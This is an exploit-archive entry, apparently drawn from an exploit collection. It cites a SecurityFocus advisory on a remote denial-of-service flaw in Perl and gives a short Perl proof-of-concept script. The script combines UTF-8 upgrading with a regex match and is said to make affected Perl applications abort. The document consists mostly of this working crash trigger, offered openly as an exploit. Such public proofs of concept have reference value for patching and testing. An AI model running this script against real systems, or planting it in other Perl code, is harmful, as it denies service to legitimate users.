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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/47006/info

Perl is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an application implemented with affected perl code to abort, denying service to legitimate users. 

#!/usr/bin/perl


my @x = ("A=B","AAAA=/");
utf8::upgrade $_ for @x;
$x[1] =~ s{/\s*$}{};
for (@x) {
m{^([^=]+?)\s*=.+$};
}